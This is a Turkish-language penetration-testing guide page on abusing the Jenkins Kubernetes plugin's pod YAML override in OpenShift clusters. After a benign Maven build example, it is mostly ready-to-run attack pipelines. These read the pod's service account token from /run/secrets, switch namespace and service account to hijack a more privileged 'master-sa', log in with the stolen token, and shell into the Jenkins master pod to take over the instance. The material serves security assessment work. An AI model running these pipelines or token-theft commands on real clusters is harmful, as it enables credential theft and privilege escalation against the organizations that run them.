OpenShift - Jenkins Build Pod Override

Bu sayfanın orijinal yazarı Fares

Jenkins için Kubernetes eklentisi

Bu eklenti, bir openshift/kubernetes kümesi içinde Jenkins çekirdek işlevlerinden büyük ölçüde sorumludur. Resmi belgelendirme burada Geliştiricilere bir jenkins yapı pod'unun bazı varsayılan yapılandırmalarını geçersiz kılma yeteneği gibi birkaç işlevsellik sunar.

Çekirdek işlevsellik

Bu eklenti, kodlarını uygun ortamda derlerken geliştiricilere esneklik sağlar.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Bazı kötüye kullanımlar pod yaml geçersiz kılma kullanarak

Ancak, Kali Linux gibi erişilebilir herhangi bir görüntüyü kullanmak ve bu görüntüden önceden yüklenmiş araçları kullanarak keyfi komutlar yürütmek için kötüye kullanılabilir. Aşağıdaki örnekte, çalışan pod'un servis hesabı belirteci dışa aktarılabilir.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Farklı bir sözdizimiyle aynı amaca ulaşmak.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Örnek, pod'un namespace'ini geçersiz kılmak için:

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Başka bir örnek, adına göre daha fazla izne sahip olabilecek bir serviceaccount bağlamaya çalışır (ki bu, yapınızı çalıştıran varsayılan olanından daha fazla izne sahip olabilir). Var olan serviceaccount'ları tahmin etmek veya numaralandırmak gerekebilir.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Aynı teknik bir Secret bağlamaya çalışmak için de geçerlidir. Buradaki son amaç, pod oluşturmanızı nasıl yapılandıracağınızı veya ayrıcalıklar kazanacağınızı etkili bir şekilde belirlemektir.

Daha ileri gitmek

Onunla oynamaya alıştığınızda, Jenkins ve Kubernetes/Openshift hakkındaki bilginizi kullanarak yanlış yapılandırmaları/istismarları bulun.

Kendinize şu soruları sorun:

  • Hangi hizmet hesabı yapı oluşturma podlarını dağıtmak için kullanılıyor?

  • Hangi roller ve izinlere sahip? Şu anda bulunduğum ad alanının secret'larını okuyabilir mi?

  • Başka yapı oluşturma podlarını daha fazla numaralandırabilir miyim?

  • Kompromize edilmiş bir sa'dan ana düğüm/pod üzerinde komutlar çalıştırabilir miyim?

  • Kümede başka bir yere geçmek için küme numaralandırmasını daha da artırabilir miyim?

  • Hangi SCC uygulanmıştır?

Hangi oc/kubectl komutlarını vermeniz gerektiğini buradan ve buradan öğrenebilirsiniz.

Olası ayrıcalık yükseltme/geçiş senaryoları

Değerlendirmeniz sırasında tüm jenkins yapılarının worker-ns adında bir ad alanında çalıştığını keşfettiğinizi varsayalım. Yapı podlarına bağlanmış varsayılan bir servis hesabı olan default-sa olduğunu fark ettiniz, ancak bazı kaynaklarda okuma erişimi dışında pek çok izne sahip değil, ancak master-sa adında mevcut bir servis hesabını tanımlayabildiniz. Ayrıca, çalışan yapı konteyneri içinde yüklü olan oc komutuna sahip olduğunuzu varsayalım.

Aşağıdaki yapı betiği ile master-sa servis hesabını ele geçirebilir ve daha fazla numaralandırabilirsiniz.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Bağlantı düzeyinize bağlı olarak saldırınıza ya derleme betiğinden devam etmeniz ya da çalışan kümede bu sa olarak doğrudan giriş yapmanız gerekebilir:

oc login --token=$token --server=https://apiserver.com:port

Eğer bu SA yeterli izne sahipse (örneğin pod/exec gibi), aynı namespace içinde çalışıyorsa ana düğüm podu içinde komutlar çalıştırarak tüm jenkins örneğini ele geçirebilirsiniz. Bu podu adı ve jenkins verilerini depolamak için kullanılan bir PVC (kalıcı hacim talebi) bağladığı gerçeğiyle kolayca tanımlayabilirsiniz.

oc rsh pod_name -c container_name

Eğer ana düğüm podu işçilerle aynı ad alanında çalışmıyorsa, benzer saldırıları ana ad alanını hedef alarak deneyebilirsiniz. Diyelim ki adı jenkins-master. Unutmayın ki jenkins-master ad alanında serviceAccount master-sa'nın var olması gerekmektedir (worker-ns ad alanında var olmayabilir).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated